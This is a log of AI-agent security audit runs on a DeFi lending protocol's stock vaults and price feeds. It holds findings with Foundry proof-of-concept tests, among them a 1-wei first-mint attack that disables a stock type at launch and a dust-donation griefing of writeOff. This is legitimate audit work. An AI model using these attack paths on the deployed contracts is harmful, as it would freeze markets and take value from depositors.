liquidation, no new debt, auctions stopped) until the Safe repairs it through the 48 h timelock. DeployRobinhood with a fresh record always builds the calendar from the config, so the two paths can end with different calendars. Reachable only on the staged path with a stale recorded calendar. Smallest fix: MarketCalendar stores an immutable keccak256(abi.encode(closed, early)) of its constructor lists, and _calendarIs compares it with the config's.","line":152,"path":"script/deploy/StageChain.sol","reproduction":"test/scratch/ProofCalendarResume.t.sol: a harness `H is StageChain` exposes _calendarIs. cfg.governor = 0x5AFE, cfg.stocks = RobinhoodConfig.stocks(). The recorded calendar is the config's closedDays plus day 20801 (Mon 2026-12-14), with the config's earlyDays. Expected: _calendarIs == false (mismatch, so a fresh calendar is built). Actual: `forge test --use solar --match-path test/scratch/ProofCalendarResume.t.sol` gives [FAIL: a calendar closing a day the config leaves open is not the configured calendar] test_extraClosedDayAccepted(). It returns true.","severity":"low","snippet":"        for (uint256 i; i < s.closedDays.length; ++i) if (c.dayStatus(s.closedDays[i]) != c.CLOSED()) return false;","title":"StageChain resume: _calendarIs adopts a recorded MarketCalendar that closes (or early-closes) days the config leaves open"}],"hash":"46e49910265c4b6b88c83cc9f4b4fa97e450d8a2d864457c4e6df21c9bdba91e","nodeId":"2312b4c8-ea54-4a91-a46b-0af81b68c8e1","outcome":"completed","summary":"I found and reproduced six defects in the 4663 launch core: four medium, two low. There is no theft of deposited stock, but anyone can disable every stock type at launch for 1 wei. All six are in `.imd-findings.json`. The required unit glob passes on this commit with `--use solar` (79 tests, 19 suites). I did not run the fork tests or the full glob with solc; only the three vault proofs were confirmed with solc 0.8.26 via_ir. All my test files are deleted. Only the two vault and rate-cap findings carry a self-contained proof; the others use `test/utils/StockSystem` or a harness, so their tests are described in the reproduction text.\n\n## Findings\n\n| Sev | Finding | Where | Test result |\n|---|---|---|---|\n| medium | **Empty vault pinned for 1 wei.** `mint(1)`, or `deposit(1)` then `redeem(999_999)` (which pays 0 assets), leaves 1 share per wei. The type's rate feed only lets the rate rise 0.1% a day, so later deposits are valued at a millionth (100 tokens at $100 count as $0.01) and borrowing reverts. Three specialists reported this; merged into one. | `src/stocks/StockVault.sol:61` | Fails with solc: 1e16 against 1e22; still 1.44e12 against 1e18 after a year |\n| medium | **writeOff's armed record outlives a reissue.** Nothing clears it when the issuer reissues, so a second full burn within 7 days is written off in the same block and the borrower's equity goes to the Treasury. | `src/LedgerSettlement.sol:227` | Fails: debt 0, expected 6,000e18 |\n| medium | **Rate cap withholds a forfeited reissue.** After holders leave a burned vault and it is reissued, the stayers' custody redeems at 1.5× but is priced at about 1.0× for ~500 days. A taker in that window keeps the difference, which breaks P2. | `src/feeds/RateFeed.sol:170` | Fails: priced 1.001e12, live 1.5e12 |\n| low | **Dust donation blocks writeOff.** On a burned vault a donation counts as value: about 1e10 wei makes a share worth 1 instead of 0, clears the writeOff record, and sends the seized shares to a taker instead of the Treasury. | `src/LedgerSettlement.sol:222` | Fails: 1, expected 0 |\n| low | **SGOV's 49 h max age misses Mondays.** I read all 117 feed rounds on chain. Before each weekend the last print is Thursday or Friday 20:00 New York, then nothing until Sunday 20:00. If the Sunday print is skipped, SGOV is unpriced all Monday. | `script/DeployConfig.sol:984` | Fails; the Friday control passes |\n| low | **Staged deploy keeps a calendar with extra closed days.** `_calendarIs` reads only the days the config lists, so a recorded calendar with an extra closed weekday is accepted. | `script/deploy/StageChain.sol:152` | Fails: check returns true |\n\nTwo corrections and one drop on the specialists' reports:\n- **SGOV:** the claim that the feed \"never prints Friday\" is wrong (6 of 17 weekends start Friday 20:01). The conclusion still holds.\n- **Dropped:** \"MarketHoursFeed trusts the first print after sync()\". The specialist could not say which side of the 0.30% print the multiplier step fell, and the error is within the feed's 0.5% band. The split-sized case is not demonstrated.\n\n## Answers\n\n1. **P1, P6:** SGOV goes unpriced for no reason on a Monday or the first session after a holiday (the 49 h finding). The session rule itself holds. For SGOV, which almost never prints in session, it effectively prices the open from the standing answer after 5 minutes, which is acceptable for a T-bill fund. P6 holds: timelocked calendar changes are re-checked when applied (a day must be after today, no weekends), and `closeDay` only sets CLOSED, from today to +3 days.\n2. **P2, StockVault:** C2 is refuted. The empty-vault pin means the guard is not closed for good. Separately, the \"a donation changes no share's value\" rule fails while the vault is impaired (the dust-donation finding), and the rate cap takes a reissue away from the holders who stayed. I found no theft of deposited stock.\n3. **P3, P4, auction and grace:**\n   - **Auction clock:** a read that finds a take possible adds at mo","treeHash":null,"usage":{"cachedInputTokens":1909938,"chain":[{"calls":708,"chainId":4663,"failed":0,"own":472,"public":0,"refused":236}],"cost":{"source":"runtime","usdMicros":1691874},"inputTokens":50,"model":"claude-opus-5-5","outputTokens":28992,"runtime":"claude","turns":27,"wallClockMs":567445}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fa4b91aed45c94fa","findings":[{"citation":"resolved","description":"StockVault (src/stocks/StockVault.sol:20-23) deliberately hands a reissue to the shares that stayed through an impairment: a holder that leaves while impaired takes the impaired value, and managedAssets falls only by what it took, so after the reissue the remaining shares' convertToAssets(1e18) rises ABOVE its pre-burn high. In the deploy (StageChain._stockType, RateFeed(vault, convertToAssets, true, hoursFeed, s.rateCap) with RobinhoodConfig.CAP = 0.001e18/1 days) the type is priced through RateFeed.rate(), which lets a rise past highRate through only at 0.1%/day of the checkpoint. On 4663 the exits during an impairment are not optional: an adminBurn marks every position down, the unhealthy ones go to StockJoin auctions, and every take redeems its units from the vault at the impaired rate (StockJoin.take: IERC4626Min(token).redeem(units, msg.sender, address(this))). Debt-free withdrawals via unwrap and raw-share holders also redeem. Each one forfeits to the positions left in the StockJoin. When the issuer reissues, those positions' custody redeems for up to 1/(1-f) of the pre-burn rate (f = the fraction of supply that left). The Ledger keeps valuing it at about highRate, so borrowing power falls short and positions are bitten at the capped price. The taker buys units at the capped quote x the auction factor and redeems them for the full live rate, so it takes the stayer's value. That is the 'reissue or forfeit lets anyone take existing holders' value' case P2 excludes. The cap does no work on a StockVault: managedAssets already ignores donations, and the only rate rise a StockVault can show is a reissue (or round-down dust).","line":67,"path":"src/feeds/RateFeed.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20Metadata} from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport {StockVault} from \"src/stocks/StockVault.sol\";\nimport {RateFeed} from \"src/feeds/RateFeed.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\nimport {RobinhoodConfig} from \"script/DeployConfig.sol\";\n\ncontract Stock is ERC20 {\n    constructor() ERC20(\"Robinhood NVDA\", \"NVDA\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); } // issuer reissue\n    function adminBurn(address from, uint256 a) external { _burn(from, a); } // issuer burn\n}\n\ncontract AnyCode {}\n\n/// After an issuer burn, holders who leave while the vault is impaired (debt-free withdrawals, auction takers redeeming,\n/// any raw-share holder) forfeit their claim on the reissue to the shares that stay (StockVault's design). The reissue then\n/// lifts the stayers' share rate ABOVE its pre-burn high, and the stock type's RateFeed (deploy cap 0.1%/day) only lets\n/// that rise through at 0.1% a day: the Ledger values the stayers' collateral at 2/3 of what it redeems for for ~500 days.\ncontract ProofStockRateCapForfeit is Test {\n\n    function test_reissueAfterForfeitIsCappedAway() public {\n        Stock stock = new Stock();\n        StockVault vault = new StockVault(IERC20Metadata(address(stock)));\n        address a = address(0xA);\n        address b = address(0xB);\n        stock.mint(a, 100e18);\n        stock.mint(b, 100e18);\n        vm.prank(a);\n        stock.approve(address(vault), type(uint256).max);\n        vm.prank(b);\n        stock.approve(address(vault), type(uint256).max);\n        vm.prank(a);\n        vault.deposit(100e18, a);\n        vm.prank(b);\n        vault.deposit(100e18, b); // b: the shares a stock position keeps in the StockJoin\n\n        uint256 CAP = RobinhoodConfig.stocks().rateCap; // the stock types' RateFeed cap as deployed (0.1%/day)\n        RateFeed feed = new RateFeed(address(vault), bytes4(keccak256(\"convertToAssets(uint256)\")), true, IFeed(address(new AnyCode())), CAP);\n        uint256 r0 = feed.rate();\n        assertEq(r0, 1e12);\n\n        // issuer adminBurns half the custody (migration / corporate action), a leaves while impaired, then the reissue\n        stock.adminBurn(address(vault), 100e18);\n        uint256 sharesA = vault.balanceOf(a);\n        vm.prank(a);\n        vault.redeem(sharesA, a, a); // gets 50e18: forfeits its claim on the reissue to b\n        stock.mint(address(vault), 100e18); // reissue of the burned 100e18\n        vm.warp(block.timestamp + 1 days);\n\n        uint256 live = vault.convertToAssets(1e18);\n        assertEq(live, 1.5e12, \"b's share redeems for 1.5x its pre-burn rate\");\n        assertEq(vault.previewRedeem(vault.balanceOf(b)), 150e18, \"b can redeem 150 stock\");\n        feed.poke();\n        // the Ledger prices b's collateral from feed.rate(): it should follow the redeemable value\n        emit log_named_uint(\"live rate  \", live);\n        emit log_named_uint(\"priced rate\", feed.rate());\n        assertGe(feed.rate() * 100, live * 99, \"stock type priced below what its custody redeems for\");\n    }\n}","reproduction":"Two holders each deposit 100e18 stock (rate 1e12 per 1e18 shares). The issuer adminBurns 100e18 from the vault (rate 0.5e12, impaired). Holder A redeems all its shares and gets 50e18 (as an auction taker or a debt-free unwrap would). The issuer reissues 100e18 to the vault. One day later B's shares redeem for 150e18 and vault.convertToAssets(1e18) = 1.5e12. RateFeed.rate() after poke = 1.000999e12 (expected about 1.5e12). It needs (1.5-1)/0.001 = 500 days to catch up. Over that time B's position is valued at 66.7% of its custody, and a liquidation sells it at that price. Run: forge test --match-path test/scratch/ProofStockRateCapForfeit.t.sol -vv fails with 'stock type priced below what its custody redeems for: 100099999999900 < 148500000000000' (live 1500000000000, priced 1000999999999). Smallest fix: deploy stock RateFeeds without a binding growth cap (StocksSpec.rateCap = 1e18, a ceiling that cannot bind within a block; the vault's managedAssets is the donation guard). Or have RateFeed accept the live rate when its source is a StockVault that is not impaired. Either way the proof passes.","severity":"medium","snippet":"        uint256 ceiling = ck + ck * maxGrowthPerSecond * (block.timestamp - checkpointAt) / 1e18;\n        uint256 high = highRate;\n        if (high > ceiling) ceiling = high;\n        return live < ceiling ? live : ceiling;","title":"Stock types' RateFeed growth cap (0.1%/day) withholds a forfeited reissue from the holders who stayed: their collateral is priced at 2/3 of what it redeems for for ~500 days, and liquidation takers ca"},{"citation":"resolved","description":"writeOff treats a type as worthless only while convertToAssets(1e18) == 0 exactly, and clears worthlessSince when it reads nonzero. StockVault.totalAssets() is min(balance, managedAssets). While the vault is impaired the balance is below managedAssets, so a donation is counted in full: the file's claim that 'a donation changes no share's value' (StockVault.sol:17) holds only while the vault is not impaired. Once the issuer adminBurns all the custody, anyone who sends supply/1e18 wei of the stock to the vault makes convertToAssets(1e18) = 1. For 10,000 tokens of custody (1e28 shares) that is 1e10 wei, or 1e-8 of a token. writeOff then reverts NotWorthless, or clears an armed record, and can be re-blocked with each new donation. The type is no longer unpriced: RateFeed reads a live rate of 1, so the positions can only be liquidated in session at a price near zero. The taker buys every share for dust USDG, which is the same bad debt outcome. But the shares end with the taker and not the Treasury, so a later issuer reissue (the burn-then-reissue migration that writeOff's doc says should stay 'governable, not stranded') goes to whoever took. That is typically the donor. P2 (writeOff then reissue) is broken for the cost of 1e10 wei plus gas.","line":222,"path":"src/LedgerSettlement.sol","reproduction":"Deposit 10,000e18 stock into a StockVault (1e28 shares). The issuer adminBurns 10,000e18 from the vault, and convertToAssets(1e18) = 0, so writeOff may arm. A griefer transfers 1e10 wei of the stock to the vault: convertToAssets(1e18) = 1, and writeOff reverts NotWorthless or deletes worthlessSince. Expected: a donation changes no share value, and the type stays writable-off. Run: forge test --match-path test/scratch/ProofHollowDonation.t.sol -vv fails with 'a donation changed the share value and lifts writeOff's worthless test: 1 != 0'. Smallest fix: judge worthlessness in writeOff against a material threshold, not exact zero. For example, worthless when the vault's balanceOf * 1e6 < managedAssets (custody down by more than 99.9999%), or when convertToAssets(1e18) * 1e6 < the type's highest seen rate (RateFeed.highRate).","severity":"low","snippet":"        if (IERC4626Min(c.token).convertToAssets(1e18) != 0) {","title":"A dust donation (S/1e18 wei of stock) into a hollowed StockVault counts as value and permanently blocks Ledger.writeOff, sending the custody (and any later reissue) to an auction taker instead of the "}],"hash":"480f6d839fed0637c8442e3f45ee268bed149776ccbca43b566317580df9a487","nodeId":"28bd3539-24a0-46ee-945d-b82200e81287","outcome":"completed","summary":"I found two defects, both in the stock vault area (P2), and nothing I could prove under P1, P3, P4, P5 or P6. Both are in `.imd-findings.json`. Coverage is partial: I ran only the math passes (Math Precision, Boundary, Numerical Gap), with no helpers, and the required test suite did not run.\n\n**What ran and what didn't**\n- **Required suite:** the `forge test --match-path 'test/unit/{Stocks,…}'` run was killed by the operating system. Solc ran out of memory: about 4 GB was free, the build compiles 227 files with via_ir, and Forge here is 1.8.3, which has no `--use solar`.\n- **Fork tests:** not run, because I had no 4663 RPC.\n- **Proofs:** small standalone tests under `test/scratch/`, which compiled with solc 0.8.26 via_ir. The outputs are below. I then deleted the folder; the medium finding's test source is in the JSON `proof` field.\n\n## Findings\n\n**1. Medium: stock types are priced at 2/3 of what their custody redeems for after a burn, forfeit and reissue (P2)** (`src/feeds/RateFeed.sol:67`)\n- **Cause:** `StockVault` deliberately gives a reissue to the shares that stayed through an impairment. Afterwards their rate rises *above* its pre-burn high. The stock `RateFeed` (deploy cap `RobinhoodConfig.CAP`, 0.1%/day) lets that rise through at only 0.1% a day.\n- **Why it happens on 4663:** a burn makes positions unhealthy, every auction take redeems from the vault at the impaired rate, and so the exits that forfeit happen during the impairment.\n- **Reproduction:** two holders deposit 100e18 each. The issuer burns 100e18 from the vault, holder A redeems (gets 50e18), and the issuer reissues 100e18.\n  - Expected: holder B's shares are priced at what they redeem for, about 1.5e12 per 1e18 shares.\n  - Actual: `FAIL: stock type priced below what its custody redeems for: 100099999999900 < 148500000000000` (live rate 1.5e12, priced rate 1.000999e12, about 500 days to catch up).\n- **Effect:** B is under-valued and can be liquidated at the capped price. The taker then redeems at the full rate and keeps the gap.\n- **Fix:** don't let a growth cap bind on stock-vault `RateFeed`s (for example `rateCap = 1e18`). `managedAssets` already blocks donations.\n\n**2. Low: a dust donation blocks `writeOff` (P2, \"writeOff then reissue\")** (`src/LedgerSettlement.sol:222`)\n- **Cause:** while the vault is impaired, `totalAssets = min(balance, managedAssets)` counts a donation in full. This contradicts the vault's own comment that a donation changes no share's value.\n- **Reproduction:** custody of 10,000e18, the issuer burns all of it, and a griefer donates 1e10 wei.\n  - Expected: the share value stays 0 and `writeOff` stays possible.\n  - Actual: `convertToAssets(1e18)` goes 0 → 1 (`FAIL: … 1 != 0`), so `writeOff` reverts `NotWorthless` or clears its armed record.\n- **Effect:** positions can then only be liquidated in session at a near-zero price, so a later reissue goes to the taker (typically the donor) instead of the Treasury.\n- **Fix:** judge \"worthless\" against a threshold, for example vault balance × 1e6 < `managedAssets`.\n\n## Answers\n\n**1. P1 / P6: none proven.**\n- The 21 closed and 5 early-close calendar days I decoded match NYSE's 2026–28 calendar. The DST rule and the session hours in UTC are correct for every weekday.\n- `Governed` re-checks proposals at apply time, so a timelocked change can never touch today or a past day. `closeDay` can only set CLOSED, from today to 3 days ahead.\n- C1 is a design risk, not a bug against P1 as written. A stalled DON prices the whole session from the standing answer, often an overnight print, for up to 25 h (SGOV 49 h). For SGOV that is every session: it almost never prints in session, so it is priced from a pre-session answer at 09:35 daily.\n\n**2. P2: two findings, above.**\n- The first deposit, the empty-vault restart, ordinary donations and rounding all look closed to non-issuers. The share rate can't be inflated by more than about 1 wei per share without the issuer.\n- The known \"tiny deposit rounds to zero share","treeHash":null,"usage":{"cachedInputTokens":2352282,"cost":{"source":"runtime","usdMicros":2170402},"inputTokens":58,"model":"claude-opus-5-5","outputTokens":41886,"runtime":"claude","turns":31,"wallClockMs":952985}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4576f670afa0131d","findings":[{"citation":"resolved","description":"Refutes C2 (\"real shares only closes every inflation path, incl. the first deposit after the vault empties\"). With no virtual shares the 10^6 share scale exists only while nobody rounds against it. On an EMPTY vault (every vault at genesis: script/deploy/StageChain.sol deploys `new StockVault(stock)` and never seeds it; and any vault whose supply returns to 0) `mint(1, x)` costs `ceil(1 / 1e6) = 1` wei and leaves supply = 1 share, managedAssets = 1 wei, so `convertToAssets(1e18)` reads 1e18 instead of 1e12. The same state is reached with `deposit(1)` (1e6 shares) followed by `redeem(999_999)` (floor(999_999 * 1 / 1e6) = 0 assets out), or from 2 wei with a redeem that rounds 1 wei down. Every later depositor is minted shares at 1 wei per share (they lose nothing in the vault), but the type's price is `RateFeed(vault.convertToAssets, cap = RobinhoodConfig.CAP = 0.1% per day)`, built by StageChain on the empty vault: checkpointRate = highRate = 1e12. `RateFeed.rate()` = min(live, max(checkpoint grown at the cap, highRate)) = ~1e12 while the vault's true rate is 1e18, so the Pricer values every share at one millionth of what it redeems for: 100 tokens at $100 are worth $0.01 to the Ledger, nobody can borrow the 100 imdUSD dust minimum, and the cap closes the gap at 0.1% per day (ln(1e6)/0.001 = ~13,800 days with daily pokes). The attacker keeps its 1 share, so the vault never empties and never restarts. Cost: 1 wei of the stock per type plus gas, by anyone, once, any time before the first honest deposit (the deploy is public and takes 70+ transactions; the vault is callable from its own creation transaction). No holder loses funds (P2's theft clause holds: the rate cannot pass 1 wei per share without an issuer burn + forfeit, I checked supply >= totalAssets is preserved by deposit, mint, withdraw and redeem), but the type is dead until the Safe deploys a new RateFeed on the manipulated vault and re-points the type through the 48 h timelock, for each of the nine types. Reachable with the deploy config: yes, on both deploy paths (DeployRobinhood and the staged steps share StageChain._stockType, whose resume check `_stockPriceIs` compares immutables only, not the rate). Smallest fix (StockVault, keeps the design): never let a non-empty vault hold dust, so one rounding cannot move the rate: in `_deposit` and `_withdraw` require `totalSupply() == 0 || totalAssets() >= MIN_ASSETS` after the move (e.g. 1e12 wei = 0.000001 token, i.e. >= 1e18 shares at the 10^6 scale; one rounding then moves the rate by <= 1e-12) and refuse a deposit that mints 0 shares / a redeem that pays 0 assets for non-zero input. Alternative (deploy only): StageChain deposits >= 1e12 wei of each stock to a dead address before `addGenesisIlk`, which also means the vault never empties.","line":61,"path":"src/stocks/StockVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20Metadata} from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport {StockVault} from \"src/stocks/StockVault.sol\";\nimport {RateFeed} from \"src/feeds/RateFeed.sol\";\nimport {MarketCalendar} from \"src/feeds/MarketCalendar.sol\";\nimport {MarketHoursFeed} from \"src/feeds/MarketHoursFeed.sol\";\n\ncontract PRegistry {\n    function paused() external pure returns (bool) {\n        return false;\n    }\n\n    function isBlocked(address) external pure returns (bool) {\n        return false;\n    }\n}\n\ncontract PStock is ERC20 {\n    address public immutable ACCESS_CONTROLLED_REGISTRY;\n\n    constructor(address r) ERC20(\"SPY\", \"SPY\") {\n        ACCESS_CONTROLLED_REGISTRY = r;\n    }\n\n    function paused() external pure returns (bool) {\n        return false;\n    }\n\n    function oraclePaused() external pure returns (bool) {\n        return false;\n    }\n\n    function uiMultiplier() external pure returns (uint256) {\n        return 1e18;\n    }\n\n    function newUIMultiplier() external pure returns (uint256) {\n        return 1e18;\n    }\n\n    function mint(address to, uint256 a) external {\n        _mint(to, a);\n    }\n}\n\ncontract PAgg {\n    int256 public answer;\n    uint256 public at;\n\n    constructor(int256 a) {\n        answer = a;\n        at = block.timestamp;\n    }\n\n    function decimals() external pure returns (uint8) {\n        return 8;\n    }\n\n    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {\n        return (1, answer, at, at, 1);\n    }\n}\n\n/// The stock module exactly as script/deploy/StageChain.sol builds it (empty vault, RateFeed over convertToAssets with\n/// RobinhoodConfig.CAP = 0.1%/day), on mocks. Property: whatever the first caller does to the empty vault, an honest\n/// deposit of 100 tokens at $100 is valued at $10,000 by the type's price feed.\ncontract ProofStockFirstMint is Test {\n    uint256 constant MON_1400 = 1792418400; // Mon 2026-10-19 14:00 UTC, inside the session\n    PStock stock;\n    StockVault vault;\n    RateFeed price;\n    address attacker = address(0xA77);\n    address alice = address(0xA11CE);\n\n    function setUp() public {\n        vm.warp(MON_1400);\n        stock = new PStock(address(new PRegistry()));\n        PAgg agg = new PAgg(100e8);\n        MarketCalendar cal = new MarketCalendar(address(0xBEEF), new uint32[](0), new uint32[](0));\n        vault = new StockVault(IERC20Metadata(address(stock)));\n        MarketHoursFeed mhf = new MarketHoursFeed(address(agg), address(stock), address(vault), cal, 25 hours);\n        price = new RateFeed(\n            address(vault), bytes4(keccak256(\"convertToAssets(uint256)\")), true, mhf, uint256(0.001e18) / 1 days\n        );\n    }\n\n    function _honestDepositIsValued() internal {\n        stock.mint(alice, 100e18);\n        vm.startPrank(alice);\n        stock.approve(address(vault), 100e18);\n        uint256 shares = vault.deposit(100e18, alice);\n        vm.stopPrank();\n        assertApproxEqAbs(vault.convertToAssets(shares), 100e18, 2, \"alice's shares redeem for her 100 tokens\");\n        assertFalse(price.isStale(), \"priced\");\n        (uint256 perShare,) = price.latestValue();\n        uint256 value = shares * perShare / 1e18;\n        emit log_named_decimal_uint(\"vault rate (assets per 1e18 shares)\", vault.convertToAssets(1e18), 0);\n        emit log_named_decimal_uint(\"feed rate (capped)\", price.rate(), 0);\n        emit log_named_decimal_uint(\"USD value the Ledger sees for 100 tokens at $100\", value, 18);\n        assertApproxEqRel(value, 10_000e18, 0.01e18, \"100 tokens at $100 must be valued at $10,000\");\n    }\n\n    /// 1 wei of stock, one call: mint(1) into the empty vault costs ceil(1 / 1e6) = 1 wei and makes 1 share = 1 wei.\n    function test_firstMintOfOneShare() public {\n        stock.mint(attacker, 1);\n        vm.startPrank(attacker);\n        stock.approve(address(vault), 1);\n        try vault.mint(1, attacker) {} catch {}\n        vm.stopPrank();\n        _honestDepositIsValued();\n    }\n\n    /// The same through deposit + a redeem that rounds to zero assets: 1e6 shares -> 1 share, still 1 wei held.\n    function test_firstDepositThenZeroAssetRedeem() public {\n        stock.mint(attacker, 1);\n        vm.startPrank(attacker);\n        stock.approve(address(vault), 1);\n        try vault.deposit(1, attacker) {} catch {}\n        try vault.redeem(999_999, attacker, attacker) {} catch {}\n        vm.stopPrank();\n        _honestDepositIsValued();\n    }\n\n    /// The cap never catches up: a year of daily pokes later the feed still values the type at about a millionth.\n    function test_capNeverCatchesUp() public {\n        stock.mint(attacker, 1);\n        vm.startPrank(attacker);\n        stock.approve(address(vault), 1);\n        try vault.mint(1, attacker) {} catch {}\n        vm.stopPrank();\n        for (uint256 i; i < 365; ++i) {\n            vm.warp(MON_1400 + (i + 1) * 1 days);\n            price.poke();\n        }\n        emit log_named_uint(\"vault rate\", vault.convertToAssets(1e18));\n        emit log_named_uint(\"feed rate after 365 daily pokes\", price.rate());\n        assertGe(price.rate(), vault.convertToAssets(1e18) / 2, \"the feed rate reaches the vault's rate within a year\");\n    }\n}","reproduction":"State: the module as StageChain builds it (empty StockVault; MarketHoursFeed; RateFeed(vault, convertToAssets, passOneE18, mhf, 0.001e18 / 1 days)), Monday 2026-10-19 14:00 UTC, feed answer $100. Calls: (1) attacker: stock.approve(vault, 1); vault.mint(1, attacker)  [or vault.deposit(1, attacker); vault.redeem(999_999, attacker, attacker)]. (2) alice: vault.deposit(100e18, alice) -> 100e18 shares (1 wei per share), convertToAssets(shares) = 100e18. Expected: price.latestValue() x shares / 1e18 = $10,000 (within 1%) and Ledger.open(STOCK-SPY, 100e18 collateral, 1,000 imdUSD) succeeds. Actual: vault.convertToAssets(1e18) = 1e18, price.rate() = 1e12, value = 0.01e18 ($0.01); Ledger.open(...) reverts Unhealthy() (0x7db7a074; checked with test/utils/StockSystem); after 365 daily pokes price.rate() is still ~1.44e12 (solar; the proof's third test). Run (solc 0.8.26 via_ir, and --use solar): forge test --match-path test/scratch/ProofStockFirstMint.t.sol -> 3 failed: `[FAIL: 100 tokens at $100 must be valued at $10,000: 10000000000000000 !~= 10000000000000000000000 (max delta: 1.0000000000000000%, real delta: 99.9999000000000000%)] test_firstMintOfOneShare()`, the same for test_firstDepositThenZeroAssetRedeem(), and `[FAIL: the feed rate reaches the vault's rate within a year: ... < 500000000000000000] test_capNeverCatchesUp()`.","severity":"medium","snippet":"        if (supply == 0) return Math.mulDiv(shares, 1, 10 ** _decimalsOffset(), rounding);","title":"StockVault: the first caller of an empty vault lifts the share rate 10^6x for 1 wei; the capped RateFeed then values the stock type at a millionth (every 4663 stock type can be bricked at launch)"},{"citation":"resolved","description":"Q1 / C1 (freezes a type in session for no reason). RobinhoodConfig sets SGOV's MarketHoursFeed max age to 49 h with the stated purpose \"49 h covers one missed weekday heartbeat (Mon 20:00 -> Wed 16:00 = 44 h)\". I read all 117 rounds of the SGOV feed 0xa0DF4ee0fFf975306345875E3548Fcc519577A11 on 4663 (phase 1, rounds 1-117, 2026-07-02 to 2026-11-18): outside one anomaly day it prints once per trading day at the 20:00 New York heartbeat on Sunday to Thursday evenings (00:00 UTC in EDT, 01:00 UTC in EST) and NEVER between Thursday 20:00 and Sunday 20:00 New York: every weekend gap is 71.97-72.98 h (95.98 h over Labor Day, Fri 2026-09-04 00:01 -> Tue 2026-09-08 00:00 UTC). So the answer standing at a Monday open is 13.5 h old only if the Sunday heartbeat arrives; if that one heartbeat is skipped the standing answer is Thursday's, 85.5 h old at 09:30 and 92 h at 16:00 New York, past the 49 h bound: ChainlinkFeed.isStale() is true and SGOV is unpriced for the entire Monday session (no borrow, no withdrawal that leaves debt, no bite, no take, auction clocks stopped), although the feed is alive and a T-bill fund moved ~0.02%. The same holds for the first session after any exchange holiday. The tolerance the config claims exists only for Tuesday to Friday sessions. Liveness only (fail closed), SGOV line 1,250 imdUSD. Reachable with the deploy config: yes (SGOV_MAX_AGE is the deployed value). Smallest fix: size the bound to the feed's real schedule, e.g. SGOV_MAX_AGE = 4 days + 1 hours (Thu 20:00 -> Mon 16:00 = 92 h, 116 h would also cover a Monday holiday), or count the age in the feed's printing days; the README's own argument (0.02% a day against a 15% buffer) carries over.","line":984,"path":"script/DeployConfig.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MarketCalendar} from \"src/feeds/MarketCalendar.sol\";\nimport {MarketHoursFeed} from \"src/feeds/MarketHoursFeed.sol\";\n\ncontract SRegistry {\n    function paused() external pure returns (bool) {\n        return false;\n    }\n\n    function isBlocked(address) external pure returns (bool) {\n        return false;\n    }\n}\n\ncontract SStock {\n    address public immutable ACCESS_CONTROLLED_REGISTRY;\n\n    constructor(address r) {\n        ACCESS_CONTROLLED_REGISTRY = r;\n    }\n\n    function paused() external pure returns (bool) {\n        return false;\n    }\n\n    function oraclePaused() external pure returns (bool) {\n        return false;\n    }\n\n    function uiMultiplier() external pure returns (uint256) {\n        return 1e18;\n    }\n\n    function newUIMultiplier() external pure returns (uint256) {\n        return 1e18;\n    }\n}\n\ncontract SAgg {\n    int256 public answer = 101e8;\n    uint256 public at;\n\n    function print() external {\n        at = block.timestamp;\n    }\n\n    function decimals() external pure returns (uint8) {\n        return 8;\n    }\n\n    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {\n        return (1, answer, at, at, 1);\n    }\n}\n\n/// SGOV as configured (max age 49 h) with its measured print schedule: one heartbeat at 20:00 New York, Sunday to Thursday.\ncontract ProofSgovMonday is Test {\n    uint256 constant SGOV_MAX_AGE = 2 days + 1 hours; // RobinhoodConfig.SGOV_MAX_AGE\n    uint256 constant THU_2000_NY = 1792713660; // Fri 2026-10-23 00:01 UTC = Thu 20:01 New York (round 98's slot)\n    uint256 constant MON_OPEN = 1793021400; // Mon 2026-10-26 13:30 UTC = 09:30 New York\n    SAgg agg;\n    MarketHoursFeed mhf;\n\n    function setUp() public {\n        vm.warp(THU_2000_NY);\n        agg = new SAgg();\n        agg.print();\n        MarketCalendar cal = new MarketCalendar(address(0xBEEF), new uint32[](0), new uint32[](0));\n        mhf = new MarketHoursFeed(address(agg), address(new SStock(address(new SRegistry()))), address(0xCAFE), cal, SGOV_MAX_AGE);\n    }\n\n    /// One missed heartbeat before a Friday is covered, as the config says...\n    function test_oneMissedHeartbeatBeforeFridayIsCovered() public {\n        vm.warp(THU_2000_NY - 1 days); // the Wednesday 20:01 print is the last one; Thursday's is missed\n        agg.print();\n        vm.warp(MON_OPEN - 3 days + 6 minutes); // Friday 09:36 New York\n        assertFalse(mhf.isStale(), \"Friday priced from Wednesday's heartbeat\");\n    }\n\n    /// ...but one missed heartbeat before a Monday (Sunday 20:00) is not: SGOV is unpriced the whole Monday session.\n    function testFuzz_oneMissedHeartbeatBeforeMondayIsCovered(uint256 into) public {\n        into = bound(into, 5 minutes, 6 hours + 29 minutes);\n        vm.warp(MON_OPEN + into); // Thursday 20:01's print is the last one; Sunday's is missed\n        assertFalse(mhf.isStale(), \"Monday priced from Thursday's heartbeat\");\n    }\n}","reproduction":"MarketHoursFeed(maxAge = 2 days + 1 hours), last answer printed Fri 2026-10-23 00:01 UTC (= Thu 20:01 New York, ts 1792713660), the Sunday 20:00 heartbeat missing. For every timestamp from Mon 2026-10-26 13:35 UTC (09:35 New York, ts 1793021700) to 19:59 UTC: expected isStale() == false (one missed heartbeat is covered, as on a Friday: the passing control test prices Friday 09:36 from Wednesday's print), actual isStale() == true. Run: forge test --use solar --match-path test/scratch/ProofSgovMonday.t.sol -> `[FAIL: Monday priced from Thursday's heartbeat; counterexample: ... ] 